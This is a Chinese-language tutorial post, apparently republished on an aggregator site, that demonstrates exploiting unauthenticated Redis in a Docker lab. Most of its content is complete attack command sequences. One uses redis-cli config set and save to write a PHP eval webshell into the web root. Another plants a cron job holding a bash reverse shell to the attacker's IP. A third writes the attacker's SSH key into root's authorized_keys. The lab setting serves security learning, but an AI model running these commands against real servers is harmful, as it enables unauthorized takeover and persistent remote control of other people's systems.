Redis未授权访问漏洞引出的漏洞利用方式

这篇具有很好参考价值的文章主要介绍了Redis未授权访问漏洞引出的漏洞利用方式。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

redis未授权访问漏洞的成因和危害

漏洞定义

redis未授权访问漏洞是一个由于redis服务版本较低其未设置登录密码导致的漏洞,攻击者可直接利用redis服务器的ip地址和端口完成redis服务器的远程登录,对目标服务器完成后续的控制和利用。

漏洞成因

  1. redis版本为4.x/5.0.5或以前的版本;
  2. redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
  3. 没有设置密码认证,可以免密码远程登录redis服务

漏洞危害

  1. 攻击者可通过redis命令向网站目录写入webshell,完成对目标网站服务器的初步控制;(/var/ww/html)
  2. 攻击者可以通过redis命令向目标服务器写入计划任务来反弹shell,完成服务器的控制;(/var/spool/cron/)
    任务计划反弹shell方法仅适用于Centos
    Ubuntu 不能用的原因如下:
    因为默认 redis 写文件后是 644 权限,但是 Ubuntu 要求执行定时任务文件 /var/spool/cron/crontabs/<username> 权限必须是 600 才会执行,否则会报错 (root) INSECURE MODE (mode 0600 expected),而 Centos 的定时任务文件 /var/spool/cron/<username> 权限 644 也可以执行
  3. 最严重的情况,如果redis以root身份运行,攻击者可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。(/root/.ssh)

操作演示

由于我的系统是Ubuntu,并且环境是用docker搭建的,下面我只演示写webshell的部分。

环境搭建

靶机:Ubuntu + LAMP + redis-5.0.4(172.16.70.129)
攻击机:kali(172.16.70.140)

# 搭建redis5.0.4,同时设置挂载卷和端口映射,如果不做定时任务和公钥的实验则不需要(-v /var/spool/cron:/var/spool/cron -v /root/.ssh:/root/.ssh)
docker run --name=redis-5 -dit -v /var/www/html:/var/www/html -v /var/spool/cron:/var/spool/cron -v /root/.ssh:/root/.ssh -p 6379:6379 redis:5.0.4
# 搭建LAMP,这里我随便选了个镜像,同样做好挂载卷和端口映射并让容器在启动时执行(./run.sh)命令
docker run --name=lamp -dit -v /var/www/html:/var/www/html -p 80:80 -p 3306:3306 mattrayner/lamp /bin/bash -c "./run.sh"
# 如果需要对redis进行操作,装个redis-tools就行了
apt install redis-tools

redis未授权访问漏洞利用,redis,数据库,安全

redis未授权

# 在redis-5.0.5以下的版本,安装成功后默认情况下可以直接进行访问
redis-cli -h 172.16.70.129

redis未授权访问漏洞利用,redis,数据库,安全

通过redis未授权写入webshell

# 连接
redis-cli -h 172.16.70.129
# 设置存储路径
config set dir /var/www/html
# 设置存储文件名
config set dbfilename shell.php
# 创建记录  [shell => "\n\n<?php @eval($_REQUEST['cmd']);?>\n\n"]
set shell "\n\n<?php @eval($_REQUEST['cmd']);?>\n\n"
# 保存到磁盘		保存时可能会报错,原因是/var/www/html没有写入权限
# chmod 777 /var/www/html 一下就好了
save

redis未授权访问漏洞利用,redis,数据库,安全

通过redis未授权写入计划任务反弹shell

# 在攻击机上监听某端口
nc -lvnp 4444
# 连接靶机redis
redis-cli -h 172.16.70.129
# 设置存储路径
config set dir /var/spool/cron/
# 设置存储文件名
config set dbfilename root
# 创建记录
set xx "\n\n* * * * * bash -i >& /dev/tcp/172.16.70.140/4444 0>&1\n\n"
# 保存到磁盘
save

通过redis未授权实现ssh-keygen 公钥登录服务器

# 在攻击机上创建公钥文件
ssh-keygen -t rsa
# 重新生成一个key文件用于写入redis
(echo -e "\n\n";cat /home/kali/.ssh/id_rsa.pub;echo -e "\n\n") > key
# 将重新设置的文件写入redis,键名是key,值内为公钥
cat key | redis-cli -h 172.16.70.129 -x set key
# 设置存储路径(如果设置失败,说明redis不是root权限)
config set dir /root/.ssh/
# 设置存储文件名(公钥存放在/root/.ssh/authorized_keys可以实现ssh免密登录)
config set dbfilename authorized_keys
# 保存到磁盘
save

redis未授权访问漏洞利用,redis,数据库,安全

参考资料

[1]: Docker 入门指南:如何在 Ubuntu 上安装和使用 Docker
[2]: Redis攻防(未授权访问、利用redis写入webshell、任务计划反弹、Shellssh-keygen 公钥登录服务器、利用主从复制RCE)
[3]: edis问题缓存无法写入到本地磁盘文章来源地址https://www.toymoban.com/news/detail-623187.html

到了这里,关于Redis未授权访问漏洞引出的漏洞利用方式的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包赞助服务器费用

相关文章

  • Redis未授权访问漏洞搭建复现

    Redis未授权访问漏洞搭建复现

    今天我们来学习一下什么是Redis未授权访问漏洞,以及各种利用方法。 文章目录 一、 什么是Redis未授权访问漏洞 二、 Redis环境搭建 三、漏洞利用 四、漏洞总结 五、漏洞防护          Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权访

    2024年02月06日
    浏览(10)
  • Redis未授权访问漏洞(一)先导篇

    Redis未授权访问漏洞(一)先导篇

    Redis默认情况下,会绑定在0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样将会将Redis服务暴露到公网上。 如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis以及

    2024年02月15日
    浏览(9)
  • Redis未授权漏洞复现及利用(window,linux)

    Redis未授权漏洞复现及利用(window,linux)

    目录 1.了解redis 2.redis漏洞原理 3.redis漏洞复现 3.1 安装redis 3.1.1 Linux安装redis  3.1.2 windows安装redis 4.redis漏洞利用 4.1利用redis漏洞写webshell 4.1.1利用前提 4.1.2上传webshell 4.2利用redis漏洞ssh密钥连接 4.2.1 ssh密钥连接 4.2.2 利用前提 4.2.3 客户端生成密钥  4.2.4注意 4.3利用crontab反弹sh

    2023年04月08日
    浏览(9)
  • Web安全:Redis 未授权访问漏洞 测试.

    Web安全:Redis 未授权访问漏洞 测试.

    Redis 默认情况下绑定在 6379 端口,然后如果没有进行添加防火墙规则避免其他非信任来源 IP 访问等相关安全策略,直接暴露在公网上。然后再没有设置密码或者设置了弱密码,因此导致此漏洞的产生. Redis 未授权访问漏洞的 危害: Redis 未授权访问漏洞 测试: 第一步:使用

    2024年02月11日
    浏览(13)
  • 【vulhub漏洞复现】redis 4-unacc 未授权访问漏洞

    【vulhub漏洞复现】redis 4-unacc 未授权访问漏洞

    影响版本 Redis 2.x,3.x,4.x,5.x Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等等,这样将会将Redis服务暴

    2023年04月25日
    浏览(6)
  • 第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE

    第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE

    思维导图: 常见服务的安全测试: 服务安全流程: 案例一:Mysql-未授权访问-CVE-2012-2122 利用 案例二: Hadoop-未授权访问-内置配合命令执行 RCE 案例三:Redis-未授权访问-Webshell任务密匙RCE 等 写入webshell  写入计划任务反弹shell ssh密钥链接 ​编辑利用自动化脚本去getshell redi

    2024年04月27日
    浏览(13)
  • 网络安全全栈培训笔记(55-服务攻防-数据库安全&Redis&Hadoop&Mysqla&未授权访问&RCE)

    网络安全全栈培训笔记(55-服务攻防-数据库安全&Redis&Hadoop&Mysqla&未授权访问&RCE)

    知识点: 1、服务攻防数据库类型安全 2、RedisHadoopMysql安全 3、Mysql-CVE-2012-2122漏洞 4、Hadoop-配置不当未授权三重奏RCE漏洞 3、Redis-配置不当未授权三重奏RCE两漏洞 #章节内容: 常见服务应用的安全测试: 1、配置不当-未授权访问 2、安全机制特定安全漏洞 3、安全机制弱口令爆

    2024年01月23日
    浏览(11)
  • Redis未授权漏洞复现

    Redis未授权漏洞复现

    目录 Redis 漏洞的产生条件及利用 Redis环境搭建 漏洞复现 利用Redis写入Webshell 利用Redis写入SSH公钥 利用Redis写入计划任务 Redis安全防护 redis(remote dictionary server)是一个key-value存储系统,是跨平台的非关系型数据库。 redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的安

    2024年04月08日
    浏览(6)
  • redis未授权漏洞

    Redis 默认情况下会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取 Redis的数据 1)通过 Redis的INFO 命令,可以查看服务器相关的参数和敏感信息,为攻击者的后续渗

    2024年02月07日
    浏览(6)
  • Jboss历史漏洞利用 - JMX Console 未授权访问漏洞

    Jboss历史漏洞利用 - JMX Console 未授权访问漏洞

    docker搭建操作指南 进行访问,出现以下界面即可搭建成功 Jboss的webUI界面 http://ip:port/jmx-console 未授权访问(或默认密码 admin/admin ),可导致JBoss的部署管理的信息泄露,攻击者也可以直接上传木马获取 webshell 访问 如果可以直接访问或者通过默认账号密码登录则存在对应漏洞 找

    2024年02月13日
    浏览(8)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包